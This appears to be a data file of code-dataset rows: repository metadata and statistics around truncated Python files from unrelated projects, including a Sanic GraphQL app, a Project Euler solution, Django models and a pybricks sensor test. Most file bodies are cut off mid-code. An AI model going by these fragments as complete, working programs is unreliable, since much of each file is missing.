] | null | null | null | data/studio21_generated/introductory/4495/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | data/studio21_generated/introductory/4495/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | def am_I_afraid(day,num):
| 13.5 | 25 | 0.740741 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
dcc672cd1529c256e9ce92450f3e659f1ce15438 | 7,240 | py | Python | src/AgentSPL/train.py | Yulv-git/Awesome-Ultrasound-Standard-Plane-Detection | 2e35afaa891badf5a235b5d995102e4dc8a4cf0d | [
"MIT"
] | 1 | 2022-03-24T06:54:36.000Z | 2022-03-24T06:54:36.000Z | src/AgentSPL/train.py | Yulv-git/Awesome-Ultrasound-Standard-Plane-Detection | 2e35afaa891badf5a235b5d995102e4dc8a4cf0d | [
"MIT"
] | null | null | null | src/AgentSPL/train.py | Yulv-git/Awesome-Ultrasound-Standard-Plane-Detection | 2e35afaa891badf5a235b5d995102e4dc8a4cf0d | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# coding=utf-8
'''
Author: Shuangchi He / Yulv
Email: yulvchi@qq.com
Date: 2022-03-20 18:17:37
Motto: Entities should not be multiplied unnecessarily.
LastEditors: Shuangchi He
LastEditTime: 2022-04-03 17:16:14
FilePath: /Awesome-Ultrasound-Standard-Plane-Detection/src/AgentSPL/train.py
... | 40.903955 | 123 | 0.623481 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,592 | 0.21989 |
dcc6d54a859e984a75c2b6603ea50f7c1bdba1fa | 14,620 | py | Python | tests/batch/base_parse_replication_stream_test.py | ywlianghang/mysql_streamer | 7fc85efaca3db6a387ea4b791632c2df2d04cb3e | [
"Apache-2.0"
] | 419 | 2016-11-17T18:41:47.000Z | 2022-03-14T02:50:02.000Z | tests/batch/base_parse_replication_stream_test.py | ywlianghang/mysql_streamer | 7fc85efaca3db6a387ea4b791632c2df2d04cb3e | [
"Apache-2.0"
] | 19 | 2016-11-30T18:09:00.000Z | 2019-04-02T06:20:02.000Z | tests/batch/base_parse_replication_stream_test.py | ywlianghang/mysql_streamer | 7fc85efaca3db6a387ea4b791632c2df2d04cb3e | [
"Apache-2.0"
] | 90 | 2016-11-23T06:26:20.000Z | 2022-01-22T09:24:42.000Z | # -*- coding: utf-8 -*-
# Copyright 2016 Yelp Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | 33.076923 | 98 | 0.675103 | 13,042 | 0.892066 | 3,794 | 0.259508 | 4,771 | 0.326334 | 0 | 0 | 1,436 | 0.098222 |
dcc700f21b2de33960e29c9e4a85159939c5b5f3 | 1,362 | py | Python | build.py | sijad/iran-cities | b895d45c2adf049a56e9acfb6914914578d547a1 | [
"MIT"
] | 14 | 2016-05-01T11:33:15.000Z | 2019-07-27T17:21:40.000Z | build.py | sijad/iran-cities-list | b895d45c2adf049a56e9acfb6914914578d547a1 | [
"MIT"
] | 1 | 2017-10-14T19:23:51.000Z | 2017-10-14T19:23:51.000Z | build.py | sijad/iran-cities-list | b895d45c2adf049a56e9acfb6914914578d547a1 | [
"MIT"
] | 3 | 2016-12-03T22:24:59.000Z | 2017-10-13T16:15:13.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
# see: https://en.wikipedia.org/wiki/ISO_3166-2:IR
PROVINCE_MAP = {
u'آذربایجان شرقی': 1,
u'آذربایجان غربی': 2,
u'اردبیل': 3,
u'اصفهان': 4,
u'ایلام': 5,
u'بوشهر': 6,
u'تهران': 7,
u'چهار محال و بختیاری': 8,
u'خوزستان': 10,
... | 21.28125 | 75 | 0.551395 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 772 | 0.48462 |
dcc701ccb8967fd5ddcba24fee8eaeca6fa55888 | 900 | py | Python | 57 - Square root convergents/converg.py | jamtot/PyProjectEuler | 98c2cf5dbfa3d38a2727f2ad204e41f01b624dda | [
"MIT"
] | null | null | null | 57 - Square root convergents/converg.py | jamtot/PyProjectEuler | 98c2cf5dbfa3d38a2727f2ad204e41f01b624dda | [
"MIT"
] | null | null | null | 57 - Square root convergents/converg.py | jamtot/PyProjectEuler | 98c2cf5dbfa3d38a2727f2ad204e41f01b624dda | [
"MIT"
] | null | null | null | """
3 7 17 41 99 239 577 1393 n = 2n(i-1(previous)) + n(i-2(num before previous))
- - -- -- -- --- --- ----
2 5 12 29 70 169 408 985 (same as above, next number is 2 times previous plus
the number before that)
"""
def nextexp(expansions):
expansions.append(expansions[-1]*2+expansio... | 32.142857 | 85 | 0.645556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 256 | 0.284444 |
dcc741045cd440a4dccfd1036075439ab58dcc3c | 565 | py | Python | src/__init__.py | chompomonim/python-graphql-example | e7b3ba1a549e2c4719eab1529d896fb19ab1cbb2 | [
"MIT"
] | null | null | null | src/__init__.py | chompomonim/python-graphql-example | e7b3ba1a549e2c4719eab1529d896fb19ab1cbb2 | [
"MIT"
] | null | null | null | src/__init__.py | chompomonim/python-graphql-example | e7b3ba1a549e2c4719eab1529d896fb19ab1cbb2 | [
"MIT"
] | null | null | null | from sanic import Sanic
from sanic.response import json, text
from sanic_graphql import GraphQLView
from api import schema, setup
app = Sanic()
@app.route("/")
async def root(request):
return text("Welcome! Call me via POST with graphql query in body.")
@app.route("/", methods=['POST'])
async def post_root(req... | 22.6 | 76 | 0.707965 | 0 | 0 | 0 | 0 | 256 | 0.453097 | 206 | 0.364602 | 103 | 0.182301 |
dcc80839aa9d4bea48c925ed65c8c0a36c832df3 | 255 | py | Python | swarmdjango/core/models/Heading.py | YCP-Swarm-Robotics-Capstone-2020-2021/swarm-website-backend | 081d1930cc9283ee299d373f91f7c127f466c104 | [
"MIT"
] | null | null | null | swarmdjango/core/models/Heading.py | YCP-Swarm-Robotics-Capstone-2020-2021/swarm-website-backend | 081d1930cc9283ee299d373f91f7c127f466c104 | [
"MIT"
] | 51 | 2020-08-31T16:50:09.000Z | 2021-05-10T03:04:18.000Z | swarmdjango/core/models/Heading.py | YCP-Swarm-Robotics-Capstone-2020-2021/swarm-website-backend | 081d1930cc9283ee299d373f91f7c127f466c104 | [
"MIT"
] | null | null | null | from django.db import models
from core.models import Change
class Heading(models.Model):
title = models.TextField()
text = models.TextField()
subHeadings = models.ManyToManyField('self', blank=True)
log = models.ManyToManyField('Change') | 28.333333 | 60 | 0.733333 | 193 | 0.756863 | 0 | 0 | 0 | 0 | 0 | 0 | 14 | 0.054902 |
dcc81393de725a070444fbc983b8a4a61724241e | 904 | py | Python | iaso/api/algorithms.py | ekhalilbsq/iaso | e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee | [
"MIT"
] | 29 | 2020-12-26T07:22:19.000Z | 2022-03-07T13:40:09.000Z | iaso/api/algorithms.py | ekhalilbsq/iaso | e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee | [
"MIT"
] | 150 | 2020-11-09T15:03:27.000Z | 2022-03-07T15:36:07.000Z | iaso/api/algorithms.py | ekhalilbsq/iaso | e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee | [
"MIT"
] | 4 | 2020-11-09T10:38:13.000Z | 2021-10-04T09:42:47.000Z | from rest_framework import viewsets, permissions, serializers
from rest_framework.response import Response
from iaso.models import MatchingAlgorithm
from .common import HasPermission
class AlgorithmsSerializer(serializers.ModelSerializer):
class Meta:
model = MatchingAlgorithm
fields = ["id", "na... | 28.25 | 100 | 0.725664 | 714 | 0.789823 | 0 | 0 | 0 | 0 | 0 | 0 | 250 | 0.276549 |
dcc8dbdd612c29691ae2ae82b4109c98232e4fd7 | 3,608 | py | Python | lib/googlecloudsdk/command_lib/run/printers/k8s_object_printer_util.py | google-cloud-sdk-unofficial/google-cloud-sdk | 2a48a04df14be46c8745050f98768e30474a1aac | [
"Apache-2.0"
] | 2 | 2019-11-10T09:17:07.000Z | 2019-12-18T13:44:08.000Z | lib/googlecloudsdk/command_lib/run/printers/k8s_object_printer_util.py | google-cloud-sdk-unofficial/google-cloud-sdk | 2a48a04df14be46c8745050f98768e30474a1aac | [
"Apache-2.0"
] | null | null | null | lib/googlecloudsdk/command_lib/run/printers/k8s_object_printer_util.py | google-cloud-sdk-unofficial/google-cloud-sdk | 2a48a04df14be46c8745050f98768e30474a1aac | [
"Apache-2.0"
] | 1 | 2020-07-25T01:40:19.000Z | 2020-07-25T01:40:19.000Z | # -*- coding: utf-8 -*- #
# Copyright 2019 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | 33.100917 | 80 | 0.720621 | 0 | 0 | 108 | 0.029933 | 0 | 0 | 0 | 0 | 1,048 | 0.290466 |
dcc93490f493990dafb1397d9f13b6202e693216 | 201 | py | Python | codility/lessons/1-iterations/test_binary_gap.py | phacic/dsa-py | 77e07361d502aeec004c7e44b714a53fe7f9cae0 | [
"MIT"
] | null | null | null | codility/lessons/1-iterations/test_binary_gap.py | phacic/dsa-py | 77e07361d502aeec004c7e44b714a53fe7f9cae0 | [
"MIT"
] | null | null | null | codility/lessons/1-iterations/test_binary_gap.py | phacic/dsa-py | 77e07361d502aeec004c7e44b714a53fe7f9cae0 | [
"MIT"
] | null | null | null | import pytest
from binary_gap import solution
@pytest.mark.parametrize("value, expected", [(9, 2), (529, 4), (15, 0), (32, 0)])
def test_gaps(value, expected):
assert solution(value) == expected
| 25.125 | 81 | 0.686567 | 0 | 0 | 0 | 0 | 152 | 0.756219 | 0 | 0 | 17 | 0.084577 |
dcc98874a25ce5c8605f3884f1b1cc84e78aae08 | 1,287 | py | Python | IntroProPython/IntroProPython - exercicios/capitulo 07/exercicio-07-02.py | SweydAbdul/estudos-python | b052708d0566a0afb9a1c04d035467d45f820879 | [
"MIT"
] | null | null | null | IntroProPython/IntroProPython - exercicios/capitulo 07/exercicio-07-02.py | SweydAbdul/estudos-python | b052708d0566a0afb9a1c04d035467d45f820879 | [
"MIT"
] | null | null | null | IntroProPython/IntroProPython - exercicios/capitulo 07/exercicio-07-02.py | SweydAbdul/estudos-python | b052708d0566a0afb9a1c04d035467d45f820879 | [
"MIT"
] | null | null | null | ##############################################################################
# Parte do livro Introdução à Programação com Python
# Autor: Nilo Ney Coutinho Menezes
# Editora Novatec (c) 2010-2017
# Primeira edição - Novembro/2010 - ISBN 978-85-7522-250-8
# Primeira reimpressão - Outubro/2011
# Segunda reimpressão - ... | 34.783784 | 78 | 0.637918 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,076 | 0.818251 |
dcc9cd475081319ccd143f49c43e6f3a2600ff8d | 727 | py | Python | tests/pup/sensors/ultrasonic_lights.py | cschlack/pybricks-micropython | 0abfd2918267a4e6e7a04062976ac1bb3da1f4b1 | [
"MIT"
] | 115 | 2020-06-15T16:43:14.000Z | 2022-03-21T21:11:57.000Z | tests/pup/sensors/ultrasonic_lights.py | cschlack/pybricks-micropython | 0abfd2918267a4e6e7a04062976ac1bb3da1f4b1 | [
"MIT"
] | 83 | 2020-06-17T17:19:29.000Z | 2022-03-08T18:50:35.000Z | tests/pup/sensors/ultrasonic_lights.py | BertLindeman/pybricks-micropython | 8f22a99551100e66ddf08d014d9f442f22b33b4d | [
"MIT"
] | 40 | 2020-06-15T18:36:39.000Z | 2022-03-28T13:22:43.000Z | # SPDX-License-Identifier: MIT
# Copyright (c) 2020 The Pybricks Authors
"""
Hardware Module: 1
Description: This tests the lights on the Ultrasonic Sensor. No external
sensors are used to verify that it works.
"""
from pybricks.pupdevices import UltrasonicSensor
from pybricks.parameters import Port
from pybricks.to... | 20.194444 | 72 | 0.729023 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 337 | 0.463549 |